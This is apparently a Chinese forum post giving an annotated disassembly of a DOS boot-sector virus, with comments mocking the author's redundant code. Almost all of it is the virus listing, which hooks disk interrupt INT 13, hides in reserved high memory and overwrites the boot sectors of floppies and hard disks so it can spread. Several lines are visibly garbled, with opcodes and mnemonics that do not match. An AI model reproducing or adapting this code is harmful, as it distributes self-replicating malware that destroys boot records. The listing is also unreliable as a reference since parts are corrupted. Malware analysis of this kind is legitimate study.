BOOT型病毒源代码(汇编语言)
病毒介绍:
这是一个典型的引导型病毒,具体名称已忘记。从使用的技术来看有点像 6.4 病毒(哪位高手知道,请告知)
病毒分析:
内存驻留,替换中断……,怪就怪在用了一大堆没用的代码。(让我写至少可以去掉一半)
;==================================================
;0000:7C0B处为磁盘标志 ,80H 表示硬盘
;==================================================
0000:7C00 EB1C JMP 7C1E
0000:7C02 00 00 00 00 00 00-00 00 00 80 00 00 00 00 ..............
0000:7C10 00 00 00 00 00 00 00 00-00 00 00 00 00 00 ..............
0000:7C1E FA CLI
0000:7C1F 33C0 XOR AX,AX
0000:7C21 8ED8 MOV DS,AX
0000:7C23 BC007C MOV SS,AX
0000:7C25 8BF4 MOV SI,SP
0000:7C28 FB STI
0000:7C2A C4064C00 LES AX,[004C]
0000:7C2F A3077C MOV [7C07],AX
0000:7C32 8C06097C MOV [7C09],ES ;保存正常 INT 13 中断地址
0000:7C36 A11304 MOV AX,[0413] ;取当前未使用内存容量
0000:7C39 48 DEC AX
0000:7C3A 48 DEC AX
0000:7C3B A31304 MOV [0413],AX ;内存容量减 2K 以获得藏身的空间
0000:7C3E B106 MOV CL,06
0000:7C40 D3E0 SHL AX,CL
0000:7C42 83C0 MOV ES,AX ;计算藏身内存区域的段地址
0000:7C44 B90002 MOV CX,0200 ;驻留于高端
0000:7C47 33FF XOR DI,DI
0000:7C49 FC CLD
0000:7C4A F3 REPZ
0000:7C4B A4 MOVSB ;复制自身到藏身段
0000:7C4C B88800 MOV AX,0088
0000:7C4F 06 PUSH ES
0000:7C50 50 PUSH AX
0000:7C51 CB RETF ;跳转藏身段继续运行 ????:0088
;===============================================
;以下是病毒的 INT 13 中断处理例程
;===============================================
0000:7C52 1E PUSH DS
0000:7C53 50 PUSH AX
0000:7C54 F6C2F0 TEST DL,F0
0000:7C57 7528 JNZ 7C81
0000:7C59 D0EC SHR AH,1
0000:7C5B FECC DEC AH
0000:7C5D 7522 JNZ 7C81
0000:7C5F 33C0 XOR AX,AX
0000:7C61 8ED8 MOV DS,AX
0000:7C63 A16C04 MOV AX,[046C]
0000:7C66 8AC4 MOV AL,AH
0000:7C68 2E CS:
0000:7C69 2A060300 SUB AL,[0003]
0000:7C6D 3C02 CMP AL,02
0000:7C6F 7210 JB 7C81
0000:7C71 2E CS:
0000:7C72 88260300 MOV [0003],AH
0000:7C76 3D0200 CMP AX,0002
0000:7C79 7303 JNB 7C7E
0000:7C7B E8CC00 CALL 7D4A ;取盘号
0000:7C7E E8E800 CALL 7D69 ;传染
0000:7C81 58 POP AX
0000:7C82 1F POP DS
0000:7C83 2E CS:
0000:7C84 FF2E0700 JMP FAR [0007]
;===============================================
;以下在内存高端执行
;===============================================
0000:7C88 33C0 XOR AX,AX
0000:7C8A 8EC0 MOV ES,AX
0000:7C8C CD13 INT 13
0000:7C8E 0E PUSH CS
0000:7C8F 1F POP DS
0000:7C90 803E0B0000 CMP BYTE PTR [000B],00 ;当前盘是否为软盘
0000:7C95 7424 JZ 7CBB
;===============================================
;以下是对硬盘的处理
;===============================================
0000:7C97 BEAE01 MOV SI,7CAE
0000:7C9A 83C610 ADD SI,+10
0000:7C9D 803C80 CMP BYTE PTR[SI],80 ;逐个检查分区是否为主分区
0000:7CA0 75F8 JNZ 7C9A
0000:7CA2 8B14 MOV DX,[SI]
0000:7CA4 8B4C02 MOV CX,[SI+02]
0000:7CA7 BB007C MOV BX,7C00
0000:7CAA B80102 MOV AX,0201
0000:7CAD CD13 INT 13 ;读该分区引导至[0000:7C00]
0000:7CAF 72D7 JB 7C88
0000:7CB1 2E CS:
0000:7CB2 C7064801C007 MOV WORD PTR [0148],07C0 ;[0148]处为存放引导程序的地址
0000:7CB8 EB7B JMP 0235
;===============================================
;以下是对软盘的处理
;===============================================
0000:7CBA 90 NOP
0000:7CBB B280 MOV DL,80
0000:7CBD E8A900 CALL 7D69
0000:7CC0 BF1800 MOV DI,0018
0000:7CC3 8B45F9 MOV AX,[DI-07]
0000:7CC6 B90400 MOV CX,0004
0000:7CC9 D3E8 SHR AX,CL
0000:7CCB 8BE8 MOV BP,AX
0000:7CCD 8B45FE MOV AX,[DI-02]
0000:7CD0 D1E0 SHL AX,1
0000:7CD2 40 INC AX
0000:7CD3 03E8 ADD BP,AX
0000:7CD5 F635 DIV BYTE PTR [DI] ;算啊算
0000:7CD7 8ACC MOV CL,AH
0000:7CD9 FEC1 INC CL
0000:7CDB 33D2 XOR DX,DX
0000:7CDD 8AF0 MOV DH,AL
0000:7CDF BB0005 MOV BX,0500
0000:7CE2 B80102 MOV AX,0201
0000:7CE5 CD13 INT 13
0000:7CE7 72F9 JB 7CE2
0000:7CE9 8BC5 MOV AX,BP
0000:7CEB BE3400 MOV SI,0034
0000:7CEE B707 MOV BH,07
0000:7CF0 F635 DIV BYTE PTR [DI]
0000:7CF2 33C9 XOR CX,CX
0000:7CF4 86E1 XCHG AH,CL
0000:7CF6 2BF1 SUB SI,CX
0000:7CF8 F67502 DIV BYTE PTR [DI+02]
0000:7CFB 8BD0 MOV DX,AX
0000:7CFD 86D5 XCHG DL,CH
0000:7CFF 8A05 MOV AL,[DI]
0000:7D01 2AC1 SUB AL,CL
0000:7D03 FEC1 INC CL
0000:7D05 B402 MOV AH,02
0000:7D07 50 PUSH AX
0000:7D08 CD13 INT 13 ;读啊读
0000:7D0A 58 POP AX
0000:7D0B 72F8 JB 7D05
0000:7D0D B101 MOV CL,01
0000:7D0F 02F8 ADD BH,AL
0000:7D11 02F8 ADD BH,AL
0000:7D13 8B05 MOV AX,[DI]
0000:7D15 FEC6 INC DH
0000:7D17 EA7502 CMP DH,[DI+02]
0000:7D1A 7204 JB 7D20
0000:7D1C B600 MOV DH,00
0000:7D1E FEC5 INC CH
0000:7D20 2BF0 SUB SI,AX
0000:7D22 73E1 JNB 7D05
0000:7D24 03C6 ADD AX,SI
0000:7D26 B402 MOV AH,02
0000:7D28 CD13 INT 13 ;到最后也没见什么新鲜玩艺儿
0000:7D2A 8A6DFD MOV CH,[DI-03]
0000:7D2D 8BDD MOV BX,BP
;===============================================
;会根据硬盘软盘处理而改变
;===============================================
0000:7D2F C70648017000 MOV WORD PTR [0148],0070
;===============================================
;以下为跳转引导正常分区
;===============================================
0000:7D35 33C0 XOR AX,AX
0000:7D37 A20B00 MOV [000B],AL
0000:7D3A 8ED8 MOV DS,AX
0000:7D3C B052 MOV AL,52
0000:7D3E A34C00 MOV [004C],AX
0000:7D41 8C0E4E00 MOV [004E],CS ;接管 INT 13 中断
0000:7D45 EA00007000 JMP 0070:0000
;===============================================
;写病毒的人是笨蛋!找一个盘号用得着这么复杂吗?
;===============================================
0000:7D4A 53 PUSH BX
0000:7D4B B010 MOV AL,10
0000:7D4D E670 OUT 70,AL
0000:7D4F E471 IN AL,71
0000:7D51 0420 ADD AL,20
0000:7D53 2433 AND AL,33
0000:7D55 8AE0 MOV AH,AL
0000:7D57 B010 MOV AL,10
0000:7D59 E670 OUT 70,AL
0000:7D5B IAC4 MOV AL,AH
0000:7D5D E671 MOV 71,AL
0000:7D5F B012 MOV AL,12
0000:7D61 E670 OUT 70,AL
0000:7D63 B000 MOV AL,00
0000:7D65 E671 OUT 71,AL
0000:7D67 5B POP BX
0000:7D68 C3 RET
;===============================================
;以下根据 DL 设定盘号进行传染
;===============================================
0000:7D69 53 PUSH BX
0000:7D6A 51 PUSH CX
0000:7D6B 52 PUSH DX
0000:7D6C 06 PUSH ES
0000:7D6D 56 PUSH SI
0000:7D6E 57 PUSH DI
0000:7D6F 0E PUSH CS
0000:7D70 1F POP DS
0000:7D71 0E PUSH CS
0000:7D72 07 POP ES
0000:7D73 BB0002 MOV BX,0200
0000:7D76 B90100 MOV CX,0001
0000:7D79 32F6 XOR DH,DH
0000:7D7B B80102 MOV AX,0201
0000:7D7E 9C PUSHF
0000:7D7F FF1E0700 CALL FAR [0007] ;调用正常中断读 BOOT
0000:7D83 7222 JB 7DA7
0000:7D85 C707EB1C MOV WORD PTR [BX],1CEB ;第一条指令 JMP 7C1E
0000:7D89 80FA80 CMP DL,80
0000:7D8C 7504 JNZ 7D92
0000:7D8E 88160B02 MOV [020B],CL
0000:7D92 FC CLD
0000:7D93 B9A001 MOV CX,01A0
0000:7D96 BE1E00 MOV SI,001E
0000:7D99 BF1E02 MOV DI,021E
0000:7D9C F3 REPZ
0000:7D9D A4 MOVSB ;用病毒程序代码覆盖正常 BOOT 内容
0000:7D9E B80103 MOV AX,0301
0000:7DA1 41 INC CX
0000:7DA2 9C PUSHF
0000:7DA3 FF1E0700 CALL FAR [0007] ;调用正常 INT 13 写入 BOOT
0000:7DA7 5F POP DI
0000:7DA8 5E POP SI
0000:7DA9 07 POP ES
0000:7DAA 5A POP DX
0000:7DAB 59 POP CX
0000:7DAC 5B POP BX
0000:7DAD C3 RET
0000:7DAE 20 6B k
0000:7DB0 65 79 20 77 68 65 6E 20-72 65 61 64 79 OD 00 00 ey when ready...
0000:7DC0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:7DD0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:7DE0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:7DF0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
评论